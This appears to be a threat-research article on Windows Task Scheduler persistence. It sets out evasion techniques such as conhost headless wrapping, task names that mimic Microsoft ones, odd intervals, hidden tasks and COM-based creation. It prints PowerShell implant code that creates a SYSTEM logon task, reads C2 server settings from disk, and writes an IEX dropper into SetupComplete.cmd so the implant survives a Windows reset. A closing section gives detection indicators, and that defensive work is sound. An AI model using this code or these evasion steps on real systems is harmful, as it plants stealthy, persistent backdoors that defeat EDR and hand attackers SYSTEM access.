Task Scheduler is a legitimate Windows feature for running programs on a timer. Attackers abuse it to store malware that wakes up every few minutes. They disguise the task name, point it at a binary in AppData or Temp, and wrap execution inside conhost.exe (a normal system process) so it blends into process lists. The implant survives reboots, user logoffs, and most manual removal attempts.
Scheduled tasks are ideal for persistence:
But basic task creation is easily detected. Sophisticated attackers use evasion techniques.
Problem: EDR alerts on schtasks.exe → powershell.exe chains.
Solution: Use conhost.exe --headless as wrapper:
conhost.exe --headless powershell.exe -File script.ps1
Now the chain is schtasks → conhost → powershell, breaking simple parent-process rules.
Problem: Task named "backdoor" or random GUID stands out.
Solution: Mimic Microsoft naming conventions:
MicrosoftEdgeUpdateTaskMachineCoreGoogleUpdateTaskUserS-1-5-21OneDrive Standalone Update TaskThese blend into Task Scheduler alongside real update tasks.
Problem: Detection rules flag "every 5 minutes" or "every hour" intervals.
Solution: Use non-round numbers:
Pattern matching for round intervals fails.
Problem: Scripts in C:\Users\Public or %TEMP% look suspicious.
Solution: Use Microsoft-blessed user-writable locations:
%LOCALAPPDATA%\Microsoft\WindowsApps\ - Legitimate Windows path%APPDATA%\Microsoft\Windows\Start Menu\ - Startup folderScripts here don't stand out as much in directory listings.
Tasks can be created with the Hidden attribute, making them invisible in Task Scheduler GUI. Users running schtasks /query still see them, but casual inspection misses them.
Source: threat-research/shellchain-phoenix/payload/stage_phoenix.ps1. This is the actual persistence implementation used for SYSTEM-level shells. Three storage paths are seeded simultaneously so the implant survives most cleanup attempts.
# Persistence paths — seeded on first connection $mainFolder = "$env:APPDATA\SystemConfig" # Roaming — follows user $recoveryFolder = "$env:LOCALAPPDATA\SystemRecover" # Local profile $adminFolder = "$env:ProgramFiles\SystemServices" # If admin # Task Scheduler — ONLOGON as SYSTEM, conhost wrapper for EDR evasion schtasks /create /tn "[TASK_NAME]" /tr "conhost.exe --headless powershell.exe -WindowStyle Hidden -File $mainFolder\[SCRIPT].ps1" /sc ONLOGON /ru SYSTEM /f # C2 redirection: ip.txt / port.txt on disk # Payload reads these first — allows server change without redeploying $ipFile = "$mainFolder\server.txt" $portFile = "$mainFolder\port.txt" if (Test-Path $ipFile) { $ip = (Get-Content $ipFile -Raw).Trim() } if (Test-Path $portFile) { $port = (Get-Content $portFile -Raw).Trim() }
C:\Windows\Setup\Scripts\SetupComplete.cmd runs once after Windows Setup completes — including in-place upgrades and factory resets. Writing to this file means the implant re-installs itself even if the user performs a Windows reset.
# Write persistence dropper to SetupComplete.cmd (requires SYSTEM)
$setupScript = "C:\Windows\Setup\Scripts\SetupComplete.cmd"
Add-Content $setupScript "`r`npowershell.exe -WindowStyle Hidden -Command `"IEX (gc '$mainFolder\[SCRIPT].ps1')`""
Sophisticated attackers avoid schtasks.exe entirely:
Schedule.Service COM object from PowerShell or VBScriptC:\Windows\System32\Tasks\ (requires SYSTEM)HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\No command line to log, no schtasks.exe process to detect.
Non-round intervals: Flag tasks with intervals like 311, 599, 3547 seconds. Real software uses round numbers.
conhost spawning shells: conhost.exe launching powershell.exe or cmd.exe is unusual outside of terminal contexts.
Task location audit: Tasks in \Microsoft\ folder that aren't signed or don't match known-good baselines.
WindowsApps scripts: Any .ps1, .bat, .vbs in %LOCALAPPDATA%\Microsoft\WindowsApps\ warrants investigation.
COM-based creation: PowerShell loading Schedule.Service COM object (Event ID 4104 script block logging).
When investigating scheduled task persistence:
schtasks /query /xml > tasks.xmlShellChain Phoenix connecting back to C2 server after schtask persistence fires on logon. SYSTEM shell, single port, no migration.
MITRE ATT&CK: T1053.005 (Scheduled Task/Job: Scheduled Task) · T1547.001 (Registry Run Keys / Startup Folder) · T1059.001 (PowerShell) · Source: threat-research/shellchain-phoenix